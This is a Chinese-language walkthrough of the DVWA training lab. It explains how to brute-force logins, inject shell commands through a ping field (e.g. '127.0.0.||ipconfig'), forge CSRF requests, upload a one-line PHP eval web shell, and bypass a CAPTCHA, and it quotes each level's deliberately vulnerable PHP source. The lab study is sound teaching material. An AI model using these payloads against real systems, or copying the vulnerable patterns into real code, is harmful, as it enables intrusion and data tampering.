Brute Force(暴力破解)
Low
使用BP抓包进行暴力破解,使用集群炸弹,导入字典,对用户名和密码进行破解。如下图。攻击后查看长度判断正确性,找到账号和密码。
源代码解析:点击此按钮即可查看后端源代码。
<?php if( isset( $_GET[ 'Login' ] ) ) {// Get username$user = $_GET[ 'username' ];//GET传参获取账号 // Get password$pass = $_GET[ 'password' ];//GET传参获取密码$pass = md5( $pass );//对密码进行MD5加密 // Check the database$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";//从数据库查询账号密码$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );//获取账号密码 if( $result && mysqli_num_rows( $result ) == 1 ) {//判断输入账号密码是否正确// Get users details$row = mysqli_fetch_assoc( $result );$avatar = $row["avatar"]; // Login successfulecho "<p>Welcome to the password protected area {$user}</p>";echo "<img src=\"{$avatar}\" />";}else {// Login failedecho "<pre><br />Username and/or password incorrect.</pre>";} ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
Medium
这个和low级别的爆破方法一样,只是加了一些转义字符。
源代码分析:
<?php if( isset( $_GET[ 'Login' ] ) ) {// Sanitise username input,得到账号$user = $_GET[ 'username' ];$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Sanitise password input,得到密码$pass = $_GET[ 'password' ];$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass = md5( $pass ); // Check the database,从数据库获取正确的账号密码$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); if( $result && mysqli_num_rows( $result ) == 1 ) {// Get users details$row = mysqli_fetch_assoc( $result );$avatar = $row["avatar"]; // Login successfulecho "<p>Welcome to the password protected area {$user}</p>";echo "<img src=\"{$avatar}\" />";}else {// Login failedsleep( 2 );echo "<pre><br />Username and/or password incorrect.</pre>";} ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
High
抓包后发现有token,使用草叉攻击模式,操作如下:
攻击完成即可得到密码。
源代码:
<?php if( isset( $_GET[ 'Login' ] ) ) {// Check Anti-CSRF token,添加的token,其他基本没变。checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Sanitise username input$user = $_GET[ 'username' ];$user = stripslashes( $user );$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Sanitise password input$pass = $_GET[ 'password' ];$pass = stripslashes( $pass );$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass = md5( $pass ); // Check database$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); if( $result && mysqli_num_rows( $result ) == 1 ) {// Get users details$row = mysqli_fetch_assoc( $result );$avatar = $row["avatar"]; // Login successfulecho "<p>Welcome to the password protected area {$user}</p>";echo "<img src=\"{$avatar}\" />";}else {// Login failedsleep( rand( 0, 3 ) );echo "<pre><br />Username and/or password incorrect.</pre>";} ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken();//生成token ?>
Impossible
源代码:
<?php if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Sanitise username input$user = $_POST[ 'username' ];$user = stripslashes( $user );$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Sanitise password input$pass = $_POST[ 'password' ];$pass = stripslashes( $pass );$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass = md5( $pass ); // Default values$total_failed_login = 3;$lockout_time = 15;$account_locked = false; // Check the database (Check user information)$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR );$data->execute();$row = $data->fetch(); // Check to see if the user has been locked out.if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) {// User locked out. Note, using this method would allow for user enumeration!//echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>"; // Calculate when the user would be allowed to login again$last_login = strtotime( $row[ 'last_login' ] );$timeout = $last_login + ($lockout_time * 60);$timenow = time(); /*print "The last login was: " . date ("h:i:s", $last_login) . "<br />";print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";*/ // Check to see if enough time has passed, if it hasn't locked the accountif( $timenow < $timeout ) {$account_locked = true;// print "The account is locked<br />";}} // Check the database (if username matches the password)$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR);$data->bindParam( ':password', $pass, PDO::PARAM_STR );$data->execute();$row = $data->fetch(); // If its a valid login...if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {// Get users details$avatar = $row[ 'avatar' ];$failed_login = $row[ 'failed_login' ];$last_login = $row[ 'last_login' ]; // Login successfulecho "<p>Welcome to the password protected area <em>{$user}</em></p>";echo "<img src=\"{$avatar}\" />"; // Had the account been locked out since last login?if( $failed_login >= $total_failed_login ) {echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";} // Reset bad login count$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR );$data->execute();} else {// Login failedsleep( rand( 2, 4 ) );//进行锁定 // Give the user some feedbackecho "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>"; // Update bad login count$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR );$data->execute();} // Set the last login time$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR );$data->execute(); } // Generate Anti-CSRF token generateSessionToken(); ?>
登录三次锁定15分钟,无法爆破。
Command Injection(命令注入)
Low
输入:127.0.0.||ipconfig即可以执行
源代码:
<?php if( isset( $_POST[ 'Submit' ] ) ) {// Get input$target = $_REQUEST[ 'ip' ]; // 确定操作系统并执行ping命令。if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping ' . $target );}else {// *nix$cmd = shell_exec( 'ping -c 4 ' . $target );} // Feedback for the end userecho "<pre>{$cmd}</pre>"; } ?>
Medium
输入:127.0.0.||ipconfig即可以执行
屏蔽了&&和分号
源代码:
<?php if( isset( $_POST[ 'Submit' ] ) ) {// Get input$target = $_REQUEST[ 'ip' ]; // Set blacklist$substitutions = array('&&' => '',//过滤&&';' => '',//过滤分号); //移除数组中的任何字符(黑名单)。$target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // 确定操作系统并执行ping命令。if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping ' . $target );}else {// *nix$cmd = shell_exec( 'ping -c 4 ' . $target );} // Feedback for the end userecho "<pre>{$cmd}</pre>"; } ?>
High
输入:127.0.0 || ipconfig
过滤了更多的符号,以上的命令前面执行失败会执行后面的。
源代码:
<?php if( isset( $_POST[ 'Submit' ] ) ) {// Get input$target = trim($_REQUEST[ 'ip' ]); // Set blacklist$substitutions = array(//符号过滤'&' => '',';' => '','| ' => '','-' => '','$' => '','(' => '',')' => '','`' => '','||' => '',); //移除数组中的任何字符(黑名单)。$target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // 确定操作系统并执行ping命令。if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping ' . $target );}else {// *nix$cmd = shell_exec( 'ping -c 4 ' . $target );} // Feedback for the end userecho "<pre>{$cmd}</pre>"; } ?>
Impossible
安全,无漏洞。
源代码:
<?php if( isset( $_POST[ 'Submit' ] ) ) {// Check Anti-CSRF token,设置了tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input$target = $_REQUEST[ 'ip' ];$target = stripslashes( $target ); // Split the IP into 4 octects$octet = explode( ".", $target ); // Check IF each octet is an integer,判断是否为数字if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {// If all 4 octets are int's put the IP back together.$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3]; // Determine OS and execute the ping command.if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping ' . $target );}else {// *nix$cmd = shell_exec( 'ping -c 4 ' . $target );} // Feedback for the end userecho "<pre>{$cmd}</pre>";}else {// Ops. Let the user name theres a mistakeecho '<pre>ERROR: You have entered an invalid IP.</pre>';} } // Generate Anti-CSRF token generateSessionToken(); ?>
CSRF
Low
先输入两个不一样的密码,在新的页面构造相同密码的url打开即可发现密码修改成功。
源代码:
<?php if( isset( $_GET[ 'Change' ] ) ) {// Get input$pass_new = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match?if( $pass_new == $pass_conf ) {//两次密码一致执行// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new ); // Update the database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the userecho "<pre>Password Changed.</pre>";}else {//两次密码不一致时执行,没什么东西// Issue with passwords matchingecho "<pre>Passwords did not match.</pre>";} ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
Medium
使用low的方法不可行,检查了referer,使用BP抓包,发现有referer,构造相同密码的url在新页面打开再抓包,发现没有referer,那么我们构造referer即可。
源代码:
<?php if( isset( $_GET[ 'Change' ] ) ) {// Checks to see where the request came fromif( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {// Get input$pass_new = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match?if( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));//对数据库获取的信息进行安全处理,防止SQL注入。$pass_new = md5( $pass_new ); // Update the database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the userecho "<pre>Password Changed.</pre>";}else {// Issue with passwords matchingecho "<pre>Passwords did not match.</pre>";}}else {// Didn't come from a trusted sourceecho "<pre>That request didn't look correct.</pre>";} ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
High
本关加入了token,使用BP抓包,放到重放器中,修改发送即可获取新的token,修改token即可修改成功。
源代码:
<?php if( isset( $_GET[ 'Change' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input$pass_new = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match?if( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new ); // Update the database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the userecho "<pre>Password Changed.</pre>";}else {// Issue with passwords matchingecho "<pre>Passwords did not match.</pre>";} ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken();//生成token ?>
Impossible
源代码:需要输入原始密码
<?php if( isset( $_GET[ 'Change' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input$pass_curr = $_GET[ 'password_current' ];$pass_new = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ]; // Sanitise current password input$pass_curr = stripslashes( $pass_curr );$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_curr = md5( $pass_curr ); // Check that the current password is correct$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );$data->execute(); // Do both new passwords match and does the current password match the user?if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {// It does!$pass_new = stripslashes( $pass_new );$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new ); // Update database with new password$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );$data->execute(); // Feedback for the userecho "<pre>Password Changed.</pre>";}else {// Issue with passwords matchingecho "<pre>Passwords did not match or current password incorrect.</pre>";} } // Generate Anti-CSRF token generateSessionToken(); ?>
File Inclusion
Low
每次点击就会跳转,可以在page后面加文件路径。
源代码:
<?php // The page we wish to display $file = $_GET[ 'page' ];//获取传参 ?>
Medium
和上面一样加文件路径。
源代码:
<?php // The page we wish to display $file = $_GET[ 'page' ];//获取传参 // Input validation $file = str_replace( array( "http://", "https://" ), "", $file );//过滤http://和https:// $file = str_replace( array( "../", "..\"" ), "", $file );//过滤../和..\ ?>
High
使用file协议绕过:
源代码:
<?php // The page we wish to display $file = $_GET[ 'page' ]; // Input validation if( !fnmatch( "file*", $file ) && $file != "include.php" ) {//定义文件名必须为file*或者include.php// This isn't the page we want!echo "ERROR: File not found!";exit; } ?>
Impossible
设置了白名单,源代码:
<?php // The page we wish to display $file = $_GET[ 'page' ]; // Only allow include.php or file{1..3}.php if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {//只能打开这几个文件// This isn't the page we want!echo "ERROR: File not found!";exit; } ?>
没有漏洞。
File Upload
Low
上传一句话木马文件,没有任何过滤,直接上传。
源代码:
//一句话木马:<?php @eval($_POST['id']);?> <?php if( isset( $_POST[ 'Upload' ] ) ) {// Where are we going to be writing to?$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // Can we move the file to the upload folder?if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {// Noecho '<pre>Your image was not uploaded.</pre>';}else {// Yes!echo "<pre>{$target_path} succesfully uploaded!</pre>";} } ?>
上传成功后可以用蚁剑进行连接。
Medium
只允许上传图片文件,使用BP抓包将文件后缀改为php即可。
源代码:
<?php if( isset( $_POST[ 'Upload' ] ) ) {// Where are we going to be writing to?$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // File information$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; // Is it an image?检查是否是图片文件if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&( $uploaded_size < 100000 ) ) { // Can we move the file to the upload folder?if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {// Noecho '<pre>Your image was not uploaded.</pre>';}else {// Yes!echo "<pre>{$target_path} succesfully uploaded!</pre>";}}else {// Invalid fileecho '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';} } ?>
High
需要上传图片马
源代码:
<?php if( isset( $_POST[ 'Upload' ] ) ) {// Where are we going to be writing to?$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // File information$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; // Is it an image?检查文件后缀if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&( $uploaded_size < 100000 ) &&getimagesize( $uploaded_tmp ) ) { // Can we move the file to the upload folder?if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {// Noecho '<pre>Your image was not uploaded.</pre>';}else {// Yes!echo "<pre>{$target_path} succesfully uploaded!</pre>";}}else {// Invalid fileecho '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';} } ?>
Impossible
源代码:
<?php if( isset( $_POST[ 'Upload' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // File information$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; // Where are we going to be writing to?$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; // Is it an image?if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&( $uploaded_size < 100000 ) &&( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&getimagesize( $uploaded_tmp ) ) { // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)if( $uploaded_type == 'image/jpeg' ) {$img = imagecreatefromjpeg( $uploaded_tmp );imagejpeg( $img, $temp_file, 100);}else {$img = imagecreatefrompng( $uploaded_tmp );imagepng( $img, $temp_file, 9);}imagedestroy( $img ); // Can we move the file to the web root from the temp folder?if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {// Yes!echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";}else {// Noecho '<pre>Your image was not uploaded.</pre>';} // Delete any temp filesif( file_exists( $temp_file ) )unlink( $temp_file );}else {// Invalid fileecho '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';} } // Generate Anti-CSRF token generateSessionToken(); ?>
Insecure CAPTCHA(不安全的验证)
如果加载完成是一个链接,没有修改密码的界面,可以看这个添加密钥。
Low
第一关是验证step,输入密码后抓包,修改step为2即可。
源代码:
<?php//第一阶段,验证身份,验证阶段为step if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {// Hide the CAPTCHA form //隐藏验证码表单$hide_form = true;// Get input //得到用户的新密码及确认新密码$pass_new = $_POST[ 'password_new' ];$pass_conf = $_POST[ 'password_conf' ];// Check CAPTCHA from 3rd party //使用第三方进行身份验证 //recaptcha_check_answer($privkey,$remoteip, $challenge,$response)$resp = recaptcha_check_answer($_DVWA[ 'recaptcha_private_key'],$_POST['g-recaptcha-response']);// Did the CAPTCHA fail?if( !$resp ) {// What happens when the CAPTCHA was entered incorrectly //验证失败时$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";$hide_form = false;return;}else {// CAPTCHA was correct. Do both new passwords match? //验证通过时,匹配两次密码是否一致if( $pass_new == $pass_conf ) {// Show next stage for the userecho "<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre><form action=\"#\" method=\"POST\"><input type=\"hidden\" name=\"step\" value=\"2\" /><input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" /><input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" /><input type=\"submit\" name=\"Change\" value=\"Change\" /></form>";}else {// Both new passwords do not match.$html .= "<pre>Both passwords must match.</pre>";$hide_form = false;}} }//第二阶段,检查两次密码是否一致,并更新密码 if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {// Hide the CAPTCHA form$hide_form = true;// Get input$pass_new = $_POST[ 'password_new' ];$pass_conf = $_POST[ 'password_conf' ];// Check to see if both password matchif( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the end userecho "<pre>Password Changed.</pre>";}else {// Issue with the passwords matchingecho "<pre>Passwords did not match.</pre>";$hide_form = false;}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); }?>
Medium
同样使用BP抓包,修改step并添加&passed_captcha=ture即可。
源代码:
<?php if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {// Hide the CAPTCHA form$hide_form = true; // Get input$pass_new = $_POST[ 'password_new' ];$pass_conf = $_POST[ 'password_conf' ]; // Check CAPTCHA from 3rd party$resp = recaptcha_check_answer($_DVWA[ 'recaptcha_private_key' ],$_POST['g-recaptcha-response']); // Did the CAPTCHA fail?if( !$resp ) {// What happens when the CAPTCHA was entered incorrectly$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";$hide_form = false;return;}else {// CAPTCHA was correct. Do both new passwords match?if( $pass_new == $pass_conf ) {// Show next stage for the user // 对参数passed_captcha进行验证,如果通过身份验证,该参数就为trueecho " <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre><form action=\"#\" method=\"POST\"><input type=\"hidden\" name=\"step\" value=\"2\" /><input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" /><input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" /><input type=\"hidden\" name=\"passed_captcha\" value=\"true\" /><input type=\"submit\" name=\"Change\" value=\"Change\" /></form>";}else {// Both new passwords do not match.$html .= "<pre>Both passwords must match.</pre>";$hide_form = false;}} } if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {// Hide the CAPTCHA form$hide_form = true; // Get input$pass_new = $_POST[ 'password_new' ];$pass_conf = $_POST[ 'password_conf' ]; // Check to see if they did stage 1if( !$_POST[ 'passed_captcha' ] ) {$html .= "<pre><br />You have not passed the CAPTCHA.</pre>";$hide_form = false;return;} // Check to see if both password matchif( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new ); // Update database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the end userecho "<pre>Password Changed.</pre>";}else {// Issue with the passwords matchingecho "<pre>Passwords did not match.</pre>";$hide_form = false;} ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
High
根据源代码,我们需要让两个参数到指定的值:
$_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3' && $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
一个是http的user_agent头,一个是自己在后面加的参数。
源代码:
